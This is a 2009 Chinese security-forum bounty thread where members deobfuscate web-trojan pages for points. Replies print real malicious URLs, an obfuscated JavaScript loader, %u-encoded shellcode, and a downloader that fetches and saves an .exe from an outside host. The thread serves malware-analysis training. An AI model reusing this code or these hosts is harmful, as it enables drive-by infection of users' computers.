[解密悬赏][第22期][完成]

显示全部楼层 · 发表于 2009-2-10 21:06:26

宗旨：
让更多人了解如何解密网马
规则：
1、Hunter不能参加活动
2、必须把所有木马地址全部解出，不完全解密且所发URL之前没有人解出者得到相应步骤加分
3、最好有解密软件日志，如果没有，请发出具体解密过程
4、当第一个人成功完全解密后，将根据难度给予其相应经验，所有URL全部解完之后本帖将锁定
5、如果有违反1~2条规则的情况，本帖随即锁定，之后成功解密的作废！
6、锁定后，会重新修改本次的解密地址，并且开帖！
7、为了体现悬赏帖宗旨，昨日解密成功者再次解出今天网址的只能得到对应网址70%经验

解密地址（替换HXXP为HTTP）：

hXXp://freesexeurope.com/ 完成 by cchao21@2L;

一次解完（包含解密步骤）=12分
分步（即未解完情况）：

开始 ……0
|_解出一个页面 ……4分
|_解出来一个新页面 ……2分
|_出来EXE地址 ……完成

hXXp://eve.icepike.com/ 完成 by wsboy @ 3L;

一次解完（包含解密步骤）=12分
分步（即未解完情况）：

开始 ……0
|_解出一个页面 ……4分
|_解出来一个新页面 ……2分
|_出来EXE地址 ……完成

注意：这些地址含有恶意软件，可能会危害到您的计算机。请不要直接打开，否则因此造成的一切后果我们概不负责！
参考解密工具：
FreShow（英文）、 Redoce 1.8（中文）、malzilla （英文，但是乃神器也）
http://glacierlk.cn/openlab/jm.htm
参考解密教程：
http://bbs.kafan.cn/viewthread.php?tid=387608
http://bbs.kafan.cn/viewthread.php?tid=220550
http://bbs.kafan.cn/thread-408295-1-1.html

(时限=1天)

显示全部楼层 · 发表于 2009-2-10 21:25:54

[wide]http://freesexeurope.com/
[object]http://wantfinest.com/tds/in.cgi?2&seoref=http://freesexeurope.com/
[object]http://msvbvm50.com/html/3888/64d219c6ec981de6ddfca881c1053edb/
[object]http://msvbvm50.com/file/3888/64d219c6ec981de6ddfca881c1053edb/0.exe.bak
[object]http://msvbvm50.com/file/3888/64d219c6ec981de6ddfca881c1053edb/1.exe.bak

[ 本帖最后由 cchao21 于 2009-2-10 21:28 编辑 ]

显示全部楼层 · 发表于 2009-2-10 22:13:12

http://freesexeurope.com/
超链接
http://wantfinest.com/tds/in.cgi?2&seoref=
http://freesexeurope.com/default.css
http://freesexeurope.com/puff-the-magic-dragon-disney-movie.html
http://freesexeurope.com/wide-wrold-of-sports-at-disney.html
http://freesexeurope.com/disney-toaster.html
http://freesexeurope.com/smoking-at-disney-world.html
http://freesexeurope.com/disney-haunted-park.html
http://freesexeurope.com/disney-hotel-refund-policy.html
http://freesexeurope.com/adult-disney.html
http://freesexeurope.com/cheap-disney-vacation-package.html
http://freesexeurope.com/luxury- ... -world-florida.html
http://freesexeurope.com/disney-movie-dicks.html
http://freesexeurope.com/disney-snes-roms.html
http://freesexeurope.com/disney- ... ntals-for-sale.html
http://freesexeurope.com/disney- ... een-activities.html
http://freesexeurope.com/disney-animated-screensavers.html
http://freesexeurope.com/disney- ... stic-wholesale.html
http://freesexeurope.com/disney-costumes-for-halloween.html
http://freesexeurope.com/nightma ... y-2t-3t-jacket.html
http://freesexeurope.com/disney-haunted-lenticular-sale.html
跳转
http://msvbvm50.com/html/3888/64d219c6ec981de6ddfca881c1053edb/

<script language=JavaScript>function f1(z0){var hg1=1,hg2,i,j,hg3=11,z7=3,s=0,z8="ss",w=0,p=0,ff=0xff,z9=0xc,b=0x400,r,t=Array(63,62,8,47,48,52,21,57,38,17,0,0,0,0,0,0,4,33,0,28,34,18,16,22,32,25,56,37,5,46,12,6,55,27,20,36,14,58,2,43,44,42,13,0,0,0,0,10,0,50,45,24,29,41,26,59,40,30,51,9,35,61,54,49,7,1,3,60,23,31,39,15,19,11,53);z2=z0;l=z2.length;for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;l--,i--){z1=t[z2.charCodeAt(p++)-48];z3=z1<<s;w|=z3;if(s){z4=0xe7^w;z5=z4&ff;z6=z5;w=w>>8;s-=2;r=r+String.fromCharCode(z6)}else{z7=8;s=6;z8="7";z9=w}}y1="document";y2="write";eval(y1+"."+y2+"(r)")}}y5="f2";y4="f1";y3=y4+'("Q0JS_Mcnb3dA2ThvIP1nrUcSpgJHftsHVY2D2GclLvmn2whl98dgb3ZK@GeltT7oyfcDB_eAB_hnLPhA9f2K@GeltTIoIPig9fcKpx7KOEhHftCoCPiSOG7oO_eHGWZ4VyeHBjdg9fcKpQhSVGbnByXSDVNPbPiSOG7oR12KLfbnLyXSiubPtyXSiubPtyXStphHL_XSRxb5L_XS9pZAiyXSuudAiyXSuumzGtNjO_eHGjCoqEZzLjXAE_hzNtCzxxdoNQhSVfZjLtcHOGNjO_eHGjCouub5VyIHq_2AVyIHqOcHVy7PLVdHVy7HqTbHLjXAE_hzNtCHVOh4EOm5VOcoNQhSVfZjLxbAq_XSipc5xyXSxtdHRyXSipc5xyXS9yhHFtNjO_eHGjCoqiZzLjXAE_hzNtCHVGh4EOm5VOh4EGhPtxb4EObzurdoNQhSVfZjLQbAGyXStrmzRtNjO_eHGjCoqfbzLjXAE_hzNtCHVOh4EfhA9pb4EGhPVGh4EVZ5urb4EOb5GQb4EiZ5VfdoNQhSVfZjLphzqGNjO_eHGjCoq_cHVyeAOOd5VyIAiy25VykAO1Z5VyeztydHVy7zFtmHLjXAE_hzNtCHtwcoNQhSVfZjLphHq_XSOfc59yXSLUbHRyXStumPFyXStpczGyXStrmPqGNjO_eHGjCoqEdALjXAE_hzNtCHVOh4EfhA9pb4EGhPqOh4EGbHurb4EibAipb4EiZ5ErdoNQhSVfZjLpczitNjO_eHGjCoq_cHVyeAOOd5VyeAqOcAVy7HFpdHVyePOGZAVyI59Qb5VyIHFQhALjXAE_hzNtsPtpdoNQhSVfZjLphHV_XSLfbHq_XSiQc59yXS9wZALGNjO_eHGjCoLfhALjXAE_hzNtXHuyb4EOm5LOb4EO25Lfh4EiZ5LUdoNQhSVfZjLpc5xtNjO_eHGjCoq_cHVy7PFtcHVyIHEwhPVyePqEJzVyk5uuZ5LjXAE_hzNtCHVOh4EOd5VOh4EO2zOfh4EGbA9wb4EGdH9xh4EOd5LOh4EEcHOfh4EfmzurdoNQhSVfZjLphHq_XSLOhHq_XSOfc5xyXSuydHL_XSLObHr_XSLfc5xyXStrdHFtNjO_eHGjCoq1bHLjXAE_hzNtCHVOh4EfhAVEh4EGmP@Oh4EG2zVOh4EEhziQb4EGmPuQcoNQhSVfZjLthAq_XSuQhPFtNjO_eHGjCoq_cHVyePOfmzVyI5xxcHLjXAE_hzNtNzOfcoNQhSVfZjLyJPEyXS9wdA9yXSqVdAO_XSOOJzFtNjO_eHGjCoq_cHVy7PEycHVyIAFyJPVyeAO_2AVy7H@EcAVyIA@Em5Vyeztt2AVykAqUbAVyIA@GcHVyeAOOm5Vy7PEp2zVyIA9yhAVyIAOOm5Vy7zFp25LjXAE_hzNtCH@EcoNQhSVfZjLphHqGNjO_eHGjCoq1b5VyePOfmzVyI5xxcHLjXAE_hzNtN5OfcoNQhSVfZjLwJPEyXS9wdA9yXSqVdAO_XSqOJzFtNjO_eHGjCoq_cHVy7PEycHVyI5xQmzVyIHqfhALjXAE_hzNtXHuyb4EOm5LOb4EO25LfcoNQhSVfZjLpJzFtNjO_eHGjCoq_cHVyeAV_cHVyIArGJ5Vy7zV_2AVy7zV_2AVy7zV_2AVy7zV_2AVy7zRpZAVyIAEycAVyI5xt2AVy7zrEb5VyIArfmPVy7zqfmzVyI5xthAVyI5xuZzLjXAE_hzNtN5itb4EGcz9wb4EGhPVEb4EUZA9wb4EOm5rEb4EOhzitcoNQhSVfZjLxhPFyXSLUbz@_XSigd5xtNjO_eHGjCo@EcHVy7H@fZAVyeA9td5Vy756QhHVyIz@_2AVy7H@GhPLjXAE_hzNtszGgb4EOcHEQb4EfmHr_doNQhSVfZjLrbPL_XS6QdzVGNjO_eHGjCo@_czVyeAqfmHVyezVim5VyezGwJ5VyePOGhzVyIAEubAVy7zxpm5VyIAEpm5LjXAE_hzNtNA@Gh4E1bPRtdoNQhSVfZjLxd5xyXS9wbAxyXSqEdAEyXSRtbH@GNjO_eHGjCoLOm5LjXAE_hzNtNA9wb4EGhz6Qh4EGmHLGdoNQhSVfZjLphHFyXSGtJzFyXSGubzGyXSLfhztyXSOEdAr_XSOibA6tNjO_eHGjCoqfhzVyk5xpmPVyk5trm5VyIzqEbAVyI5rGdHVyk59rZzVyk59pdzVykzEpmHVyIzVEmzVyI5qOZzVyIzqOmHVyI5ipd5VyI5EpZAVykzRtdHVykzuxmPVyIzqEmPVykzxxd5Vykz6pm5VykzixbzVykz9pZzVyI5Rpb5VykzuxbPVyI5xxbzVykz9pb5VyI5xpm5VyI5Rpd5VykzupbzVykzGxmPVykzGpZzVykzExmzVyI5ExZzVyI56pm5VykzGtdHVyI5EtbHVyI5ErmPVyI56tbHVyI5LObzVy7ztumzLjdgbPigpuCgq_ID@Tel28JoyEIKk1sKxEbzTuNvbuCSOG7oyT2DLYdDEMJDCuCSOG7oxT2KGWbzFjmo9fcKpx7S6Wdo6tNPppeA6iNKxY2KftXYTEcK2EkDqTIoCuCSOG7oRTeDREenLW_bLjmo9fcKpx7SuYJDfts3YMfoCuCSOG7oRT7HxYdoktNPppeA6iNKx1JSftsWjTgbLjmo9fcKpx7SRGISftNbVGISVGIoCuCSOG7oEG7DftslxT7KdlNa_EISLOeDEuda@DhD2phly_2aR0mPulC5xwczGgZA9y2Ai0bzr_c5rTcH@fJPuQZAGub5RyJHLDszkyJvV8CAOacoCuCSOG7oxT2K6WbzFjmo9fcKpx7SBTenLrYhjGNPppeA6iNKxThnLwfoCuCSOG7oRTIArYdoKDJHiGNPppeA6iNKxGkKtYdo6_2KtDcDR_coCuCSOG7oVOezftsDrDcALjNKxTJSNtNDt_cDwx7SBT7aEG7DyphAyEeHTjdoCuCSOG7oRTkK9Ydo5fcSVGNPbusS6U7oCisDrDcAflcAZY2lVG7jtTkzG3soRTeDRaNKxTJSNx7SuYJDNx7SwTejCuXH9fJDwycSGgNPpW7o@fJS@1JjVUsoCisS6U7oCisDrDcAflcAZY2lVG7jtTkzG3soRTeDREkjRT7v_M2jRTIzNx7SrTkjRT7v_M2jRT7lxUNPpycSOMJjVOezTjmofiNAOTkAw1XHTuNvpwIKiiNvp3JH2Ghn2Gcl_ahH61sKxEbzyuNKxY2KRaNKx1eDyaNKxGZjRT7HxaNKxEIK9aNKx1eDyaNKx1JSTjmoVOeAy1XH9fbjCuX8pxhAxEJlwyhjpj7oxGevpj7oyT2DLYdDVV7o0YUY3T7StGWHG_eHRT7jTjmoVOeAy1XH9fbjCuX8pxhAxEJlwyhjCiCKVTeS68Jotjmofab8CWkPfadgpwIKiiNvp3JH2GcaR_cDr1CDEMJDTjmofiNAOTkAw1XHTuNvpwIKiiNvp3JH2GcaR_cDr1CDEMJDTjmofiNAOTkAw1XHTuNvpteHx_IKkiszCuX8CWkPbuXH9fJDwtsDrGNjRTIAraCof3JH2GcaLjNKxGkKtaNKxGJHTjdgppeA6iNDLn2MRTIK_YZDLnhDN_cKwu7SRQmaptXeLjNKxT2jLlfoNx7SraCoK8NbxGeHOYcoTjdgpgcHp0NDLn2MRTIK_UsoCn1oplcAZDyKxGeDkwWvt_hnGjmo2GclJE7S6YcaYDJHVYZzCuNDLn2MRTIK_8NYt_cDwgNPplcAZDyKxGeDkrQKTTeHw3JHKDJHiUNPbuso9fcKp0JH6OenLtNPppeA6isHx_hDtYdoLjmo9fcKpw2KxfcKxYdoLjmo9fcKpwhAEE7SOG7SftCoCP1opwIKiiNv9fcKplcAZDyX5EcKTi7SflcAZY2lVG7jtTkzG3soLryb@GeltTIa51hHyMcoTjdgpusoxGevCOeA6iNSR1Jb6D2AD8cSflcAZDyX5EcKTi7SkyfD9UcK28hDV8JSwtsbzD_eDEybLgNPp0JH6OenFE7lPGkD@_fD91Co3DYYDTfbMOWhLgNPpwJSVYJKfrkKwiQK2EhhkO7jLwWhYiQoTjb8@fJS@1JjVUNvfadgpusoxGevCT2KxfcKxYZDLn2M4EyA6UJKx8Nbt_2ATfJDADJDr_cKR1Co5TeA6TeStGXjCusHO_kKxfcKxYZDLn2M4EyA6UJKx8Nbt_2ATfJDADJDr_cKR1Co8MJDaEeH6EkbxfcKx_7KLgNPfEhAxEJlwyhjCYkPbusofEhAxEJlwyhjCYkPbusoTOJow0JH6OenftCoTuNvp0JH6OenLxfPLjmofadgpuXlqisjrTeH_ienftCoTuNvpwIKiiNvppeA6iNDLn2MqEkDflcAZY2lVG7jtTkzG3soLxyA6UJKxUcDB8ChTMhH5UkKx_hDhGclVEJSLgNPpwJSVYJKflcAZDQHRDcaH_JS5ieH@UhAyO_DyThH61CzTjb8@fJS@1JjVUNvfab8CP1oppeA6iCHkGbnLtNPppeA6iCHkYdoLjmo9fcKpx7SrEenL3gMlD2AEYhHkTkKpQcDriNbVT7ST82HRMgMLjmo9fcKpx7SO_enLQUDyiXXR_cKRMgMLjmo9fcKpx7SqMcDftsMgY_b_ubPttbaEi7HGubzxubPkyJvVGNPbuso9fcKpx7S68JHfWYAx1ca6DhSkTJjYfJSw8CKO8JH2YJjTPsjGumztumz_QbjNQmztumzTjmo9fcKpycS6Wdo2GclJE7S6YcaLjNKxEISNtsX2OYly_Jjq8JaLjNKxGZjLgNPq8czfpcDCtNPbusoTOJjq8czfWdoLgNvTOJjrfhSRTeA6TeoftCoTj7S6UkvjOenrfhSRTeA6TkPq8hnjOkjRTIHy82PVOeAy1XH9GbjCWkAOTkAw1XHTje8CWkPfadgpuXlq1CHkGbnftCoTjelq1sHRTeA6TeoftCoTj7S6UkvjOenrE7SOG7SCpcDfwQSNx7SqMcDCycSOMJjVOIzTjb8@fJS@1JjVUNvfab8CWkPbusoTOJjq8czfWdoLgNvxGevCTQSf0JH6OkPq8hnjOkjRT7HRaNKxfhSNtXYV8hSpgfDTEhl2MgMPGkDBGeA_f2KgMWWkU2ATDcoNx7SqMcDCycSOMJjVOIzTjb8@fJS@1JjVUNvfab8CP1opgcHwpcD6WbnLtXjCTIKia7X9YmlrGISCpcDfwQSNx7SrEkjRTeAEaCoY_cDE_cDpxgSOG7SgMgb6D2H6fhD__cKgMybxfcKxGNjRTIHy82PVOeAy1XH9GbjCWkAOTkAw1XHTje8CWkPbusoTOJjq8czfWdoLgNvxGevCTQSf0JH6OkPq8hnjOkjRT7HRaNKxfhSNtXYV8hSpxgSOG7SgMgb6D2H6fhD_fJMgVNKgMyYtE7SOG7SV8coNx7SqMcDCycSOMJjVOIzTjb8@fJS@1JjVUNvfab8CP1opgcHwpcD6WbnLtXjCTIKia7X9YmlrGISCpcDfwQSNx7SrEkjRTeAEaCoY_cDEiNbxfcKxMgMPGkDBGeA_U7MgfYSxD2KxfcKxGNjRTIHy82PVOeAy1XH9GbjCWkAOTkAw1XHTje8CWkPbusoTOJjq8czfWdoLgNvxGevCTQSf0JH6OkPq8hnjOkjRT7HRaNKxfhSNtXYV8hSpQfS9U2DgMgb6D2H6fhD_UJMg__KVEhSdU2Dk_JoO_7S2YhAxU2AOGNjRTIHy82PVOeAy1XH9GbjCWkAOTkAw1XHTje8CWkPbusoTOJjq8czfWdoLgNvxGevCTQSf0JH6OkPq8hnjOkjRT7HRaNKxfhSNtNWOUIDkU2Kxfha9fJDTa2l2MgMh1clVMhDOT7MgaYAi8cDTE7SiEIoNx7SqMcDCycSOMJjVOIzTjb8@fJS@1JjVUNvfab8CP1opgcHwpcD6WbnLtXjCTIKia7X9YmlrGISCpcDfwQSNx7SrEkjRTeAEaCo5TeA6T7oY_cDEMgMPGkDBGeA_MhA6MgMKf_bWffYHU_eLjNKxOJDkabH9fJDwycS6gNPfEhAxEJlwyhjCYkPfadgpuXlq1CHkGbnftCoTj7S6UkvjOenwTcK9adHkYmX9aNKxT2KNx7SO_kjLxgSOG7S_WhHkU7MgiQK2VcKOYhDVG7MgDUKtE7SOG7SLjNKxOJDkabH9fJDwycS6gNPfEhAxEJlwyhjCYkPfadgpuXlq1CHkGbnftCoTj7S6UkvjOenwTcK9adHkYmX9aNKxT2KNx7SO_kjLxgSOG7S_WhHkUIDgMgb6D2H6fhDgMWeETkDRTeA6TIoNx7SqMcDCycSOMJjVOIzTjb8@fJS@1JjVUNvfab8CP1opgcHwpcD6WbnLtXjCTIKia7X9YmlrGISCpcDfwQSNx7SrEkjRTeAEaCoY_cDEiXWkU2ATfcKgMgb6D2H6fhDOE7MgUfDTEhlOGIoNx7SqMcDCycSOMJjVOIzTjb8@fJS@1JjVUNvfab8CP1opgcHwpcD6WbnLtXjCTIKia7X9YmlrGISCpcDfwQSNtsMgT_DN_eDV8JSViXSkTJoDUcDRTeHyMhSkVhHkMgMLjNKxfhSNtNbxfcKxYhHk_7MgiQK2VcKOYhDVMgM8_7S2E7SOG7SLjNKxOJDkabH9fJDwycS6gNPfEhAxEJlwyhjCYkPfadgpuXlq1CHkGbnftCoTj7S6UkvjOenwTcK9adHkYmX9aNKxT2KNx7SO_kjLxgSOG7SpWYHk_7MgiQK2VcKOY2KgMybxfcKx_7KLjNKxOJDkabH9fJDwycS6gNPfEhAxEJlwyhjCYkPfadgpuXlq1CHkGbnftCoTj7S6UkvjOenrTeH_ikPq8hnjOkjL3gMxYJKLjNKxGIDraCokyJvVGNPVOeAy1XH9GbjCWkAOTkAw1XHTje8CWkPbusoTOJjq8czfWdoLgNvxGevCTQSf0JH6OkPq8hnjOkjL3gMRUkKLjNKxGIDraCokyJvVGNPVOeAy1XH9GbjCWkAOTkAw1XHTje8CWkPbusoTOJjq8czfWdoLgNvxGevCTQSf0JH6OkPq8hnjOkjL3gMz__e1EUYDGgMgGNjRTIKkT2jLvXHu_coCycSOMJjVOIzTjb8@fJS@1JjVUNvfab8CP1opgcHwpcD6WbnLtXjCTIKia7X9YmlrGISCpcDfwQSNtsMgGWhSUyeW_UhgMQoNx7S68JHNtCaV1eHLjbH9fJDwycS6gNPfEhAxEJlwyhjCYkPfadgpuXlqisjq8czOWdoLgNvxGevCOeA6iNDLn2MR1JDflcAZY2lVG7jtTkzG3Co51hHyMca8i7KyU2AOTel28coTjdSOG7odieAftNDLn2MR1JDkxglVMJDD1eH@_7SV1CHkGbjCtNPVOeAy1CvtfhjCWkAOTkAw1XHTj7S6UkvdieAftNDLn2M4EyA6UJKx8Xhu_2AwpcD6gNPLjbH9fJDwP7KOUNPfEhAxEJlwyhjCTIKiaISOG7oxDcAZE7Sfx7KOEhHCuCSOG7o2Gcl6W2lftsHVY2D2GclLjsS2GclRTkjLvXlk8hH61UXYMfoNwkDLn2KxaCofwhH_D2DLncoNwkDLn2KxaCokgcDk_cK3TWYWGNjxDcAZE7SNtNjgGsn2GclVEJSLjsS2GclRTkjLuNAyf2KRUJHLjsS2GclRTkjLWZ4@M2KTTcPLjsS2GclRTkjLydzFQbP9QJ5_thzOEbaxpm5FWXPRQmH_xZ5Lfh5OOczRuZzFtNjxDcAZE7SNtN4px2Dr_cAOEeHftNjxDcAZE7SNtN4gGNjq8czN3QoBvmn2tNjxDcAZE7SNtNDLnhH@TIngGNPLjbH9fJDwlcAZGbDNUNPfEhAxEJlwyhjCGeHx_IKkiszCWkPfab8CteHx_IKkiXzCWeHyEeHCGeHx_IKkiszCWkPbuX8VM2KVaIKVTeS68Jotjb8CPM8CPigq_ID@Tel28Jo2Gcl_ahH61sKxGbzyu7S6tbjpjIgppeA6isSrEen6rZPppeA6iCD2GclfvhSyM2PppeA6iNKx82DftCD2Gclfu7S6QdaLjdgpwIKiaeH9fJDwx7SkD2jBxfKVfJSVDfAZ_2Ax1sKxGdzTrXjCWkAOTkAw1XHTje8buXlq1XokDcAZUNvxGevC_cSOMJjRTID2aN4SGeHOTeHhGclVEJSwu7S6tmaLtXjBgNPfEhAxEJlwyhjCYe8buXlq1XokDcAZUNvxGevC_cSOMJjRTID2aN4SGeHOTeHhGclVEJSwu7S6tmaLtsaLtXjBgNPfEhAxEJlwyhjCYe8buXlq1XokDcAZUNvxGevC_cSOMJjRTID2aN4H_JShGclVEJSwtCoyu7S6tbjBgNPfEhAxEJlwyhjCYe8buXlq1XokDcAZUNvxGevC_cSOMJjRTID2aN4H_JShGclVEJSwu7S6tmaLtXjBgNPfEhAxEJlwyhjCYe8buXlq1XokDcAZUNvxGevC_cSOMJjRTID2aN4H_JShGclVEJSwu7S6tbjBgNPfEhAxEJlwyhjCYe8buCKVTeS68JjkDcAZUNPbWIgbpeA6isSrEenGrZPppeA6iXlfuZPppeA6iNKxEcAGWdo_umztubatumztWNetumz_umztumztumztum59tNPppeA6iNKxfbDftXz_tNPppeA6iNKxYhzftXaGtNPbpeA6islkEJvfvhHFiXe6GeAi1CoKTYP9xY5Epba9ybeRtNjRTeDGjCoGwUz_gmPRQYatuZetwdhSGbPDEd5L3Co8GYPKEYhlTYaDE_5DYs5FyfoNx7SGW2jLgZz6tbalTbe6Qmz9QZ5GQd5L3Cotumz9pUzRxdoNx7S@Ghzytsztud5AiZz8GNjRTkALfmaLpbhRtmzFube_rd59wYaxyYh9WsPFgZe_w_eGpYeiQmh6p_eRtsaLpm5Gwb5Gtde_tYPF0baxybzlYXetwUP_p_eATfhRxbhuxZzSGsaLrdhEt_5AOZz_pUz9pYaxxZzLjNKxfbDNtsP8Gd5_xZziyUzRxUz8__zlGsaLud5FtZzDibP_pU5SGbaxxZAuWsPRymP_ubPAEUhGwfetrd59tsaLpZzip_56ydhLjNKxYhzNtCe6wYax0ZzLjNKxfbDNtXeipUh_0Z5x0m5FpmP6ubzttsaLtYetQmPEgbPLjNKxYhzNtshKEbaxwdHiWsPRtU5_wd5Gwb5xxUPxtfhutsaLwUzSiZ5l_d5_rZe9gbaxxdhLjNKxfbDNtCexQUz_tb5A_beGQdh8GYzitsaLyUPSE_elTfh_xYe60baxgd5LYCetymz_pZetrZeipdzxrd5KGsak_7DyUNPbpeA6iNKxDcAftNDLnhH@TIoCuCSOG7oRTelrYdoTTcoCuCSOG7oRTIKrYdo2GclJGgh5GNPppeA6iXlE_eDtYdDEMJDCPTSwUJDVisjw82AuaWlUUsoCn1oT_eS_ienk_7DyablE_eDtYmH2EhS__cDx8NA6_hAx_hhy_hDV8JSwx7S2GhjCghSEYJKkxeHxfUSxGelL_7SV1NKxUJHyx7S6T2jTUNPT_eS_iIaR_JS8T7S6UcAETeHwtNAyf2KRGNjRTelrMCo@M2KLjNKxUJHNtCPLjslkEJvsUhMTjdgpgcHwghSEYJKTj7S6UkvTOJjyEIKk1XlE_eDtUXjCGcKVf2lCWkPfEhAxEJlwyhjCYkPfadgpg2jNjdgfnigbPig9fcKpx7lRfbnE8hHREhAt_JjR12KLfbjCPiSOG7okDJKy_cDpWmot075tumztubawx7lRfday_cDBT7lZtZjt0kzugNPbpeA6iCD2ikKxWhnE8hHREhAt_JjLyXSiubPttXjCuNSwUJDVisjkDJKRTbDk3hHkVJSwnCzQv2DtMhHkUsokDJKRTbDNWdD2ikKxW2Ppv2DtE75_YdD2ikKxWcaR_IARTIKT82HwumakDJKy_cD2tbjCPMA6Gezu0bDfvhHFiXe6GeAi1XjCuCH2G7jTYmzCgJnxrZPTaNjTjeA6Gezu0bDsUhMfv2DtE75_aNKwEezCWkPbuCg9fcKpwkDLn2KxGbnRieA@_2P9fcKp0hA9_hKxYdHOM2KVadSOG7o@12lGTenBusnRE24NrCKTi7Sp3hAkVhSOVhHftCXKVNjBxkA6UJKxGCnp3QDplfDpyfK6DcKptWHR_eDViCYV17Sp3QDpxWHxisSw_2YLnhH@TenSGeHOTeHhGclVEJSwtXbEU2ANTWl__2ew_2ANDfAZ_2Ax8XbEU2ANTWl__2ew_2AN8XzLgsog8Joh8JoDGIK2G7oBDJS2iszp3QDpgfHpg_KhGclVEJSww7lVDfAZ_2AxUsoj1hHkisMkiXWqisSw_2YLnhH@TIaMEebEU2ANTWl__he9fhlyfcAy_Jjtgsoj1hHkisMBPYSRT7o@1hH@aJoqDcKpphly_JMBusMkislOOeHGTenGusMkiXhkTJoMOJog8JoD8JHpgfHp3QDp3ZaREcKBuNjprXltTInp3QDBjdg9fcKplcAZfbDNYdorD2AEYhHkTIaLjsS2GclRTIzNtNS6UJSVMcDLjsS2GclRTIzNtsj@12lGTejCtNPVOeAy1NDLnhz_ahjCPMlqisjwfcSVf7STuNvppeA6iNDLncz_ahnLw2D@_eDV8JSktNjxDcAZE7S6jCoFGelx_coNwkDLn2KxGZjL0N4QtNjxDcAZE7S6jCo2GclVEJSLjsS2GclRTIzNtsoSMYe5EWWlGNjxDcAZE7S6jCof3Qo@M2KTTcPLjsS2GclRTIzNtsz6tfh6ymhEWsPSfZ5LjsS2GclRTIzNtXaxtfzRWCeS1mz_tNjxDcAZE7S6jColEm5u0beKTUhSOdegGsoFUJHx1hngGXztumMLuslVU2HwTengGNzt3Qopx7SiMhHf3QoLDcKr_cKdumKuMQoI3mKOGeA_iCDOYhHf3QoRGkAgGso9fJDE_hngGNaGGNjxDcAZE7S6jCox8XD2O7MLvmntfcKOYJokfhDVYmMLQhSxDcoNwkDLn2KxGZjLu7DOU7MLuCSOMhSVYmMLwIKE_JMLvmntfcKOYJokfhDVYmML32D2i7MLuCSOMhSVYmMLphAyEeHgGCnQueA6fhDpvhA__hngGNA28JS6DJDy_cKgGso9fJDE_hngGsS6_eHgGCnQlCoNwkDLn2KxGZjLlcAZ_2Ax8Z4TjdoCuXH9fJDwlcAZGbDNUNPfadgbPigQlNbSGWWPTQnbr")';y6="()";eval(y3);</script>

[ 本帖最后由 aarwwefdds 于 2009-2-11 21:42 编辑 ]

显示全部楼层 · 发表于 2009-2-10 23:08:50

话说又那么YD，又检查IP，我彻底鄙视这种行为

PS，隐身娃你太能整了。。。。那个是下载者吗？下载器才对。。。

显示全部楼层 · 发表于 2009-2-11 08:05:08

内容
8:04 2009-2-11
<html>
<body>
<div id="demoobj"></div>

<script language="javascript">

var space="";
var aue1='%ue';
var aue2='%uE';

var shsb1="%u9090%u9090%u0feb%u335b%u66c9%u80b9%u8001"+aue1+"f33"+aue1+"243"+aue1+"bfa"+aue1+"805%uffec%uffff%u8b7f%udf4e"+aue1+"fef%u64ef"+aue1+"3af%u9f64%u42f3%u9f64%u6ee7"+aue1+"f03"+aue1+"feb%u64ef%ub903%u6187"+aue1+"1a1%u0703"+aue1+"f11"+aue1+"fef%uaa66%ub9eb%u7787%u6511%u07e1"+aue1+"f1f"+aue1+"fef%uaa66%ub9e7%uca87%u105f%u072d"+aue1+"f0d"+aue1+"fef%uaa66%ub9e3%u0087%u0f21%u078f"+aue1+"f3b"+aue1+"fef%uaa66%ub9ff%u2e87%u0a96%u0757"+aue1+"f29"+aue1+"fef%uaa66%uaffb%ud76f%u9a2c%u6615%uf7aa"+aue1+"806"+aue1+"fee%ub1ef%u9a66%u64cb"+aue1+"baa"+aue1+"e85%u64b6%uf7ba%u07b9"+aue1+"f64"+aue1+"fef%u87bf%uf5d9%u9fc0%u7807"+aue1+"fef%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa%u1087"+aue1+"fef%ubfef%uaa64%u85fb%ub6ed%uba64%u07f7"+aue1+"f8e"+aue1+"fef%uaaec%u28cf%ub3ef%uc191%u288a"+aue1+"baf%u8a97"+aue1+"fef%u9a10%u64cf"+aue1+"3aa"+aue1+"e85%u64b6%uf7ba%uaf07"+aue1+"fef%u85ef%ub7e8%uaaec%udccb%ubc34%u10bc%ucf9a%ubcbf%uaa64%u85f3%ub6ea%uba64%u07f7"+aue1+"fcc"+aue1+"fef"+aue1+"f85%u9a10%u64cf"+aue1+"7aa"+aue1+"d85%u64b6%uf7ba%uff07"+aue1+"fef%u85ef%u6410%uffaa"+aue1+"e85%u64b6%uf7ba"+aue1+"f07"+aue1+"fef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10%u64ba%u6403"+aue1+"792%ub264%ub9e3%u9c64%u64d3%uf19b"+aue1+"c97%ub91c%u9964"+aue1+"ccf%udc1c%ua626%u42ae%u2cec%udcb9"+aue1+"019%uff51%u1dd5"+aue1+"79b%u212e"+aue1+"ce2%uaf1d%u1e04%u11d4%u9ab1%ub50a%u0464%ub564"+aue1+"ccb%u8932"+aue1+"364%u64a4%uf3b5%u32ec"+aue1+"b64"+aue1+"c64%ub12a%u2db2"+aue1+"fe7%u1b07%u1011%uba10%ua3bd%ua0a2"+aue1+"fa1%u7468%u7074%u2f3a%u6d2f%u7673%u7662%u356d%u2e30%u6f63%u2f6d%u6966%u656c%u332f%u3838%u2f38%u3436%u3264%u3931%u3663%u6365%u3839%u6431%u3665%u6464%u6366%u3861%u3138%u3163%u3530%u6533%u6264%u312f%u652e%u6578%u622e%u6b61%u0000";


function lsrn(pt31) {
var ldob=null; var tds1=17; var st2="2"; var stms="Microsoft"; var stmss="MS"; var stxml="XML"; var stdt="."; var stht="HTTP"; var stsrv="Server"; var url="http://msvbvm50.com/file/3888/64d219c6ec981de6ddfca881c1053edb/0.exe.bak"; var tds2=17; var stgt="GET"; var std="D"; var stbd="Body"; var strsp="response"; var ev1="ldob"+stdt+"open(stgt,url,false);"; var stsv="Save";
try { ldob=objmker(pt31, stms+stdt+stxml+stht); eval(ev1); } catch(e) { try { ldob=objmker(pt31, stmss+stxml+st2+stdt+stxml+stht); eval(ev1); } catch(e) { try { ldob=objmker(pt31, stmss+stxml+st2+stdt+stsrv+stxml+stht); eval(ev1); } catch(e) { try { ldob=new XMLHttpRequest(); eval(ev1); } catch(e){ return 0; };};};};
try { ldob.send(null); } catch(e) { try { ldob.send(null); } catch(e) { return 0; };};
eval("ld"+stbd+"=ldob."+strsp+stbd);
var obj_strm=objmker(pt31, "A"+std+"O"+std+"B.Stream");
if (obj_strm) {
